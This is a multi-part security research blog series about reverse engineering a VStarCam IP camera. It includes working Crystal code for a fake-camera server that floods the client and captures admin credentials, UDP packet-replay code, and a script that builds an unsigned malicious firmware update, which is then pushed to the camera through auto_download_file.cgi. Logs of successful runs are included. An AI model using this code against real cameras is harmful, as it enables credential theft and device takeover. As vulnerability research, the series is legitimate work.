Uploading my firmware, while it seemed like it worked, never increased the version number in the application. I did everything in my power to look through the updates, seeing if I missed anything. Sad thing was, the only major difference in the updates, was small header values inside the zip files themselves. Everything I checked didn't work and I was clueless on how to succeed.

I ended up wanting to try something new, and I looked through my firmware files to see if I could upload a version lower than the current one, to downgrade the firmware. Unfortunately, this was where I made a huge mistake.

I ended up uploading a firmware file for a different camera in the same product line, which completely bricked my camera permanently. The camera gets to the "Hello I'm Online" boot phase, then eats mad dog shit, rebooting, and starting all over. I can't find a way to upload the proper firmware.

I asked around on some Discord servers but no one knew what to do, and as one user elegantly put it, "See, 2 am hacking is a big no no".

This also cut this article short, I had a lot more planned with the device and I really wanted to show off some of the tools I wrote to do it.

I'm probably going to order a new one and be a little more careful next time, the product line themselves are still on Amazon, and highly rated at that, for only $35!

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]

[VStarCam - Investigational Journey] Post Mortem & Fixes

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

Now that we have the username and password for the camera, there is a specific CGI that was found while making a firmware update. This CGI takes a server, and a file name, and downloads the file to the camera, and attempts a firmware update. If used properly, we could alter an update, increasing it's version number, and changing the main start up script to include telnetd again. We can also use this feature to test against the update validation logic, allowing us to write a minimal exploit to take advantage of this. For example, the update logic might say something like,"I'll allow an update to run, but only if the firmware version is higher than mine, all the zip files inside validate with no errors, etc etc", and if we know exactly what those parameters are, we can write a "minimal update maker" to make the smallest amount of changes.

Getting an update

After months of playing around with this camera, I finally got a hold of my first firmware update! I went through the whole thing by hand, and used what I found to find other firmware images from previous versions.

https://github.com/twigie4/C7824WIP

Looking at the updates

Using binwalk, we can take a look at the innards of the update, pulling it apart shows that it is a collection of ZIP files,each a single zip file, combined together into a special update format.

Extracted, the file tree looks like this.

── system
    ├── init
    │   ├── ipcam.sh
    │   └── seq_ap6181.sh
    └── system
        ├── bin
        │   ├── brushFlash
        │   ├── cmd_thread
        │   ├── encoder
        │   ├── fwversion.bin
        │   ├── gpio_aplink.ko
        │   ├── grade.sh
        │   ├── load3516d
        │   ├── load3518
        │   ├── load3518ev200
        │   ├── motogpio.ko
        │   ├── sysversion.txt
        │   ├── updata
        │   ├── wifidaemon
        │   └── wpa_supplicant
        └── lib
            ├── libOnvif.so
            ├── libsns_ar0130_720p.so
            ├── libsns_gc1004.so
            ├── libsns_gc1024.so
            ├── libsns_h42.so
            ├── libsns_ov9712_plus.so
            ├── libsns_sc1045.so
            └── libvoice_arm.so

5 directories, 48 files

When looking at the files individually, we can quickly note the important ones, ipcam.sh, which has telnetd commented out inside it, and fwversion.bin which contains a byte version of the 4 byte version number given in the app.

Comparing this update with the others, show that the validating change to the update is the version number, fwversion.bin.

If we can modify the update so it turns back on telnetd, and increments the fwversion.bin, we can overwrite any update, even potentially reverting the firmware to a older version.

We may also have to deal with file checksums, hashing, and signatures in the update, so we need to look more closely at the update using a hex editor, I personally like hexer, it was the only one I used that didn't crash when I opened it, except for xxd.

00000000:  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  www.object-camer
 00000010:  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  a.com.by.hongzx.

This first part is a sentinel value, and if you skip to the bottom, you can see a reversed version terminating it.

000fd590:  e2 00 00 00 00 00 2e 78  7a 67 6e 6f 68 2e 79 62  .......xzgnoh.yb
 000fd5a0:  2e 6d 6f 63 2e 61 72 65  6d 61 63 2d 74 63 65 6a  .moc.aremac-tcej
 000fd5b0:  62 6f 2e 77 77 77 -- --  -- -- -- -- -- -- -- --  bo.www----------

If we go to the next "field", we can see that there is a directory followed by a bunch of 0x00, which we can guess is the full field width, 0x40.

00000020:  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 62 69  system/system/bi
 00000030:  6e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  n/..............
 00000040:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000050:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

The next field is the filename

00000060:  6c 6f 61 64 33 35 31 38  65 76 32 30 30 2e 7a 69  load3518ev200.zi
 00000070:  70 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  p...............
 00000080:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000090:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

After that comes two integer numbers, the first being the size (4 bytes, little-endian), then the second being the version number (8 bytes, but only using 4 now, little-endian).

000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..

We can confirm this is the size by using visual mode to measure the total bytes.

visual selection:  0x000000ac - 0x00000993  0x8e8 (2280) bytes

Then we start the zip file at 0xAC.

It then packs each of these zip files in a binary, padded with headers, and ended with the sentinel value reversed. Here's all the stuff we know.

SENTINEL_VALUE = "www.object-camera.com.by.hongzx."
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C

Looking at the ZIPs themselves isn't particularly interesting, but one thing of note, the ZIPs all preserve directory structure, even though the ZIPs only contain one file each.

000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..
 000000b0:  14 00 00 00 08 00 6c 6d  24 4e 8a b1 db 55 14 08  ......lm$N...U..
 000000c0:  00 00 19 21 00 00 1f 00  1c 00 73 79 73 74 65 6d  ...!......system
 000000d0:  2f 73 79 73 74 65 6d 2f  62 69 6e 2f 6c 6f 61 64  /system/bin/load
 000000e0:  33 35 31 38 65 76 32 30  30 55 54 09 00 03 7c f2  3518ev200UT...|.

Since there is no checksum/signing involved, we should be able to make our own update very easily!

Making our own update

I wrote a simple script to put together an update out of files from the system directory. I put the files back exactly how they were and modified the fwversion.bin file to have an increased number.

SENTINEL_VALUE = "www.object-camera.com.by.hongzx."
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C

FILE_ORDER_PATH = "rsrc/file_order"
FIRMWARE_PATH = "rsrc"
ZIP_PATH = "rsrc/zip"
NEW_UPDATE_PATH = "rsrc/update"
FWVERSION_PATH = "rsrc/system/system/bin/fwversion.bin"

# Start construction
fwversion =  File.open(FWVERSION_PATH, "r") {|f| f.read_bytes(Int64, IO::ByteFormat::LittleEndian)}

new_update = File.open(NEW_UPDATE_PATH, "w")
new_update << SENTINEL_VALUE

files = File.read(FILE_ORDER_PATH).lines
puts "Loading files for update #{fwversion.to_s(16).rjust(16, '0')}"
puts
files.each do |file_path|
  filename = File.basename file_path
  zip_filename = filename += ".zip"

  # Make zip

  `cd #{FIRMWARE_PATH}; zip zip/#{zip_filename} #{file_path}`
  zip_file = File.read("#{ZIP_PATH}/#{zip_filename}")
  new_update << (File.dirname(file_path) + "/").ljust(HEADER_OFFSET_DIRECTORY.size, "\x00"[0])
  new_update << zip_filename.ljust(HEADER_OFFSET_FILENAME.size, "\x00"[0])

  new_update.write_bytes(zip_file.bytes.size, IO::ByteFormat::LittleEndian)
  new_update.write_bytes(fwversion, IO::ByteFormat::LittleEndian)
  new_update << zip_file

  puts "#{file_path}"
  puts "SIZE: #{zip_file.bytes.size.to_s 16}"
end

new_update << SENTINEL_VALUE.reverse
new_update.close

Writing an update server

Next, we need a simple program to host the file for download. The server MUST run on port 80, the camera won't accept a port argument. The cgi script also only will take a text url, not an IP address, so we need to bind our system to a URL (like badclient.local or something).

require "kemal"

get "/update" do |env|
  send_file env, "rsrc/update"
end
Kemal.config.port = 80
Kemal.run

Using the exploit

require "./anti-client"
anti = AntiClient.new
anti.run
creds = anti.wait_for_creds
anti.close
puts "GOT CREDS #{creds}"

sleep 5
client = Client.new
client.run
until client.state == :main_phase
  sleep 0.1
end

spawn do
  `bin/update_server &`
end
puts "Ran update server"
sleep 10
puts
client.send_udp_raw_get_request("/auto_download_file.cgi",
                                   server: "gaming.local",
                                   file: "/update",
                                   type: "0",
                                   resevered1: "",
                                   resevered2: "",
                                   resevered3: "",
                                   resevered4: "",
                                   loginuse: creds[:user],
                                   loginpas: creds[:pass],
                                   user: creds[:user],
                                   pwd: creds[:pass])
sleep 10
client.close

Which when run will start the anti-client, get the credentials, then use them to log into the camera, run the update server, then send a get request for the auto_download_file.cgi.

Just for reference, I know "resevered" is misspelled, it was actually how they wrote it in the client.

Eventually we get a reply back saying everything went OK, and we can also see in Wireshark that the file was downloaded and that the camera rebooted.

I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : SENT GET /auto_download_file.cgi?server=gaming.local&file=/update&type=0&resevered1=&resevered2=&resevered3=&resevered4=&loginuse=admin&loginpas=password&user=admin&pwd=password
I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : REPLY RECIEVED FROM CAMERA
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : RESPONSE RECIEVED FROM CAMERA 46
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- :
result= 0;
var result="ok";
I, [2019-03-21 07:59:10 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:11 -07:00 #10950]  INFO -- : Sent Pong

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Exploit PoC Development (Systems & Security) • 8 years — Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [Cve]

[VStarCam - Investigational Journey] Installation & Testing

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?

First thing I did was sit down and flesh out a basic connection process.

1. Wait for DBP from client (f130 from 8600) (client to 255.255.255.255) 2. Capture DBR from camera (44480108 from 6801) (camera to 255.255.255.255) * Get UID, change IP, MAC, and/or other info. 3. Spam DBR at client (to beat out camera.) 4. Wait for BCP from client 5. Send BPS to client 6. Wait for BPS from client 7. Forge BPA to client. 8. Main phase, ping pong, wait for a GET with login params. 9. Once we get password, send disconnect, and close server.

Capture DBP from client

The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.

def listen_for_client_dbp
  # TODO: ADD TIMEOUTS!
  got_dbp = false
  LOG.info("Waiting to receive the DBP from a client")
  until got_dbp
    potential_dbp = @db_camera_sock.receive
    got_dbp = true if potential_dbp[0] == DBP
  end
  got_dbp
end

Capture DBR from the camera

The camera will send out the DBR, we need to capture that and hold it for replay.

def listen_for_camera_dbr
  # TODO: ADD TIMEOUTS!
  got_dbr = false
  LOG.info("Waiting to receive the DBR from a camera")

  until got_dbr
    potential_dbr = @db_client_sock.receive
    LOG.info("Got a potential DBR from a client")

    if potential_dbr[0][0..3] == DBR_HEADER
      got_dbr = true
      @camera = potential_dbr[1]
      LOG.info "GOT DBR TARGET #{@camera}"
    end
  end
  if potential_dbr
    @dbr = Client.parse_dbr potential_dbr
    @dbr
  else
    nil
  end
end

Spam DBR

Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.

Some things I tried,

UDP Flooding
Connection spamming

Opening up connections with the camera and disconnecting constantly. EX: DBP -> DBR -> BCP -> BPS -> BPA -> RESTART * Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.

Broadcast flooding

* Flooding the broadcast with DBP/BCP to tie up camera resources.

In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection.

# We just need to get our DBR in before the camera.
def spam_dbr(dbr)
  @spam_dbr = true
  LOG.info "Spamming DBR!"
  spam_fiber = spawn do
    while @spam_dbr
      begin
        send_dbr(dbr)
        sleep 0.000001
      rescue e
        LOG.info "SPAM DBR EXCEPTION #{e}"
      end
    end
    LOG.info "Spamming DBR Finished!"
  end
end

Handle BP Handshake

Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, the send four BPA. Our tick will have this inside.

elsif state == :listen_for_client_bcp
  listen_for_client_bcp
  change_state :send_bps
elsif state == :send_bps
  send_bps @dbr[:uid]
  change_state :receive_bps
elsif state == :receive_bps
  if receive_bps(5)
    @spam_dbr = false
    change_state :send_4_bpa
  else
    change_state :listen_for_client_bcp
  end
elsif state == :send_4_bpa
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_pong
  if wait_for_client_ping(5)
    change_state :main_phase
  else
    change_state :spam
  end

Waiting for Ping

We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.

def wait_for_client_ping(timeout)
  LOG.info "Waiting for client ping"
  ping_channel = Channel(Bool).new

  main_fiber = spawn do
    got_ping = false
    until got_ping
      potential_ping = @data_channel.receive
      if potential_ping[0] == PING_PACKET
        got_ping = true
      elsif potential_ping[0] == UNBLOCK_FIBER_DATA
        break
      end
    end
    ping_channel.send got_ping
  end
  timeout_fiber = spawn do
    sleep timeout
    unblock_data
  end
  got_ping = ping_channel.receive
  if got_ping
    LOG.info "PING SUCCESSFUL"
  else
    LOG.info "PING UNSUCCESSFUL"
  end
  got_ping
end

Getting the Password

At this point we have done everything we needed, and the client should be spilling it's guts to us.

[Running] crystal "/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/sandbox.cr"
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : GOT DBR TARGET 192.168.11.140:8600
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Parsed new target camera {:camera_ip => "192.168.11.140", :netmask => "255.255.255.0", :gateway => "192.168.11.1", :dns1 => "8.8.8.8", :dns2 => "192.168.11.1", :mac_address => "48:02:2A:0B:DB:B4", :http_port => "47250", :uid => "VSTB668515UZCPK", :name => "IPMAN", :ddns_ip => "48.53.72.104", :unknown1 => "\u0001", :ddns_url => "user2.ipcam.so", :sn => "dqqlz", :ddns_password => "252926"}
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:34 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp

Beautipul

Why does it work?

The client has very weak checks in place for the camera, it doesn't keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn't parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn't even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.

In short, there are a couple vulnerabilities this relies on

Improper connection tracking
Improper parsing/validating of DBR fields
Broadcasting DBR
Client improperly handling DBR flood.
Client improperly handling sensitive data

These could not have been found if it wasn't for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, auto_download.cgi.

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Exploitation (Security) • 6 years — Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [Exploit_db]
Exploit PoC Development (Systems & Security) • 8 years — Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [Cve]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]

[VStarCam - Investigational Journey] Firmware Analysis

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

Now that we are at the point of near 100% protocol coverage, we can start to think about some ways that we could potentially abuse the protocol, and the devices behind them. One thing I noticed after completely tearing down every packet in the connection process, was that all the information needed to impersonate the camera is sent to broadcast. This means that even when connected directly through LAN, the camera could potentially be impersonated by anyone on the same subnet. A couple things also hint at this.

1. The IP address of the camera can change, and the client must be able to respond to this change. * This means that chances are the protocol checks IP address very weakly, and might be vulnerable to someone using a different IP address. 2. The device itself is not very powerful, so corners were most likely cut in software to save money/processing power. It's likely that certain kinds of checks where overlooked, especially when security was obviously not the goal in mind with the camera. 3. The device may or may not parse all fields in the packets (DBR, BPS, BPA) so it might be easy for us to replay packets without having to know exactly what a field does.

Flaws in the camera programming, as well as the client protocol, also give out too much information. The camera (for seemingly no reason) sends the DBR, which contains all the info we need to impersonate, to broadcast. The client also initiates connection over broadcast (although later switching to direct communications later). Looking at these things, there is a very real possibility of a vulnerability here. We may need to swap fields out of the DBR, or change our MAC address to conform to the clients checks, but it should be possible.

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Hardware Security (Security) • 6 years — Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [Wikipedia]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]
Linux Kernel (Systems & Security) • 14 years — In-depth Linux system administration, kernel diagnostics, performance tuning, and low-level system calls. [Kernel]

[VStarCam - Investigational Journey] Reversing authentication

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

Now we are at the point where everything is coming together and now we need to know WHAT we can do with the device.

Getting a list of CGI

At this point, we have a working client (for the most part), now we need commands to run! We are going to explore a variety of ways we can get more info on the commands that are available to us.

Wireshark and Testing Methodology

We can use Wireshark as a sniffer to get the request strings we want. We just open the APP as usual, and try each and every single option, button, etc. Try to do anything that might generate a GET. Then filter the GET packets out in Wireshark.

Decompiling APK

We can use Android Studio's "Debug and Profile APK" feature to disassemble the APK into Smali. I didn't know anything about Smali before messing around with this project, so pardon me if I get things wrong, I never really learned the language, I just used intuition on most of this.

Using the "Find in Path" feature in Android Studio let's us search the project for any mention of .cgi. While some results aren't going to be exactly as we want, we will get to see a majority of the surface level functions we can use.

If we actually look at some of them we can see some code that provides us with more info.

new-instance v1, Ljava/lang/StringBuilder;

invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V

const-string/jumbo v2, "set_sensorname.cgi?&sensorid="
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, "&sensorid0="
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, "&sensorid1="

I don't need to really know smali to know what I'm seeing here. We have a java class, StringBuilder, building a CGI string to send out. By looking at these segments of code by the CGI strings we have found, we can also mine more information on what arguments some of these commands use.

Decomipling SO

I noticed after a while an interesting pattern I kept seeing after it made the CGI string, it would call a method:

vstc2/nativecaller/NativeCaller;->TransferMessage

However, no amount of googling lead me closer to finding out what it did, and worse, I couldn't find the method ANYWHERE in the smali. I must have searched for hours.

Finally when I did find it, it was just a stub method, there was no code to it at all! Then after a bit more googling I learned that methods gained from Shared Object files won't show up in a Smali decompile, since it's only decompiling the Java, not the assembly. When looking through the shared objects, I found one called libvstc2_jni.so, which seemed to be what I was looking for. I tried decompiling it on Linux but I couldn't find a good tool to do it with and ended up using onlinedisassembler which worked pretty well as I mainly just used it for it's string search, rather than wanting to pour over ARM ASM.

Decompiling Firmware

I'd also like to decompile the firmware on the camera, but unfortunately, I couldn't find a good method to pull a copy off the device. I was, however, able to get a hold of an update, (Finally I've been waiting for months for a firmware update I could listen into.), which doesn't contain any CGI info, but does contain some other interesting stuff I'll detail later.

Googling

Ripping through Shared Objects, Smali, and Wireshark captures is fun and all, but sometimes you just want real human English answers. I spent a lot of time googling things during this writeup, as well as when I first sat down with the device months ago.

Finally after getting so far, I wanted to see if there was ANY information out there about this API, so I set out with a couple choice google searches, and an understanding of what "down the rabbit hole" truly means.

I started with googling "vstarcam api", which lead me to an interesting SDK page. Once there I quickly located a CGI manual, let's open it up and take a look inside.

Oh no, the manual is in Chinese, but at least we are getting closer.

I tried "vstarcam sdk" and ended up finding an english manual. I also noticed this forum post, which also talked about the poor security of the VStarCam firmware.

In this post he talks about some juicy things, one of which I discovered in an update I went through.

There was also another post about the camera, although it mentions it by a different name, unsurprisingly, the picture even is the same one I have. This guy went deep into the nitty gitty on some of the exploits, some of which I'd like to try myself now that I know about them.

Also, after referencing the manual, I did not notice any commands I didn't find already, or see any that weren't listed.

Extras

After studying this thing for months, I FINALLY received a firmware update. I wasted no time sniffing the connection and learning some cool stuff.

When it started the download, it used the auto_download_file.cgi script. With it we can supply a server, and a file to download. Potentially abusable! We will definitely cover this in a later part.

I immediately grabbed a copy of the file and went to town in binwalk, extracting all files so I could take a look. One of the first files I noticed, ipcam.sh, had an interesting thing inside it. This is the file verbatim.

export PATH=/system/system/bin:$PATH
#telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/system/bin/brushFlash
/system/system/bin/updata
/system/system/bin/wifidaemon &
/system/system/bin/upgrade &

When I saw this I thought, "Oh man, someone left telnetd on and had to turn it off in a later update."

After downloading previous updates from caches online, I found that this was indeed true. It is also backed up by this article, specifically in the section "CVE-2017-8224 - Backdoor account".

I thought that was super funny.

Another interesting find was some of the developer names were accidentally left in some binaries, by way of a home directory listing.

I also found another interesting tidbit, the password they use to zip is hardcoded into binaries added in some of the updates.

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Exploitation (Security) • 6 years — Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [Exploit_db]
Exploit PoC Development (Systems & Security) • 8 years — Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [Cve]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]

[VStarCam - Investigational Journey] Memory Leaks and De-serialization

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

We are really hauling through this, now it's time to see if we can replay a GET request via UDP. For this, we will want to go through our captures and grab a couple GET request data packets, including the 16 byte header in the front of the data.

The best way to do this in Wireshark is to find the packets using the filter

* frame contains GET

Then go to the details pane (it's the one above the hex dump and below the packet stream), right click on the Data heading, click Copy, then click As Escaped String. For this I will choose the first UDP GET request in the search.

Once we have the string copied, we can write our simple code to replay the packet.

CHECK_USERS_REPLAY = "\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00" \
"\x47\x45\x54\x20\x2f\x63\x68\x65\x63\x6b\x5f\x75\x73\x65\x72\x2e" \
"\x63\x67\x69\x3f\x6e\x61\x6d\x65\x3d\x31\x32\x33\x34\x35\x36\x37" \
"\x38\x39\x26\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d\x69" \
"\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x70\x61\x73\x73\x77" \
"\x6f\x72\x64\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70" \
"\x77\x64\x3d\x70\x61\x73\x73\x77\x6f\x72\x64\x26"
def send_replay
  data_sock.send(CHECK_USERS_REPLAY, target)
  LOG.info "Sent replay packet"
end

require "./client"
client = Client.new
client.run

until client.state == :main_phase
  sleep 0.1
end

client.send_replay
sleep 5
client.close

After our GET request was sent, we should have gotten two new packets to inspect, some sort of acknowledgment and the results of the command.

GET_STATUS_REPLAY = "\xf1\xd0\x00\x54\xd1\x00\x00\x02\x01\x0a\x00\x00\x48\x00\x00\x00" \
"\x47\x45\x54\x20\x2f\x67\x65\x74\x5f\x73\x74\x61\x74\x75\x73\x2e" \
"\x63\x67\x69\x3f\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d" \
"\x69\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x38\x38\x38\x38" \
"\x38\x38\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70\x77" \
"\x64\x3d\x38\x38\x38\x38\x38\x38"

def send_replay
  data_sock.send(GET_STATUS_REPLAY, target)
  LOG.info "Sent replay packet"
end

This time when we send the replay let's see what happens.

This time we get something a little different. We got the "acknowledgement" packet but we didn't get any results. Upon closer inspect we can see the two acknowledgement packets are just slightly different, the last byte on our success being 0x00 and the last byte on our failure was 0x02. We now know that the order of the packets is important. This could signify that the mysterious header has some values in it that track order of packets.

Let's learn more.

The next thing we are going to want to try is to modify a request, and see if we can get it to teach us something new about the protocol.

CHECK_USERS_HEADER = "\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00"
CHECK_USERS_REQUEST = "GET /check_user.cgi?name=123456789&loginuse=admin&loginpas=password&user=admin&pwd=password&"
CHECK_USERS_MODIFIED_REQUEST1 = "GET /check_user.cgi?name=44444&loginuse=admin&loginpas=password&user=admin&pwd=password&"
CHECK_USERS_MODIFIED_REQUEST2 = "GET /check_user.cgi?name=1234567890&loginuse=admin&loginpas=password&user=admin&pwd=password&"
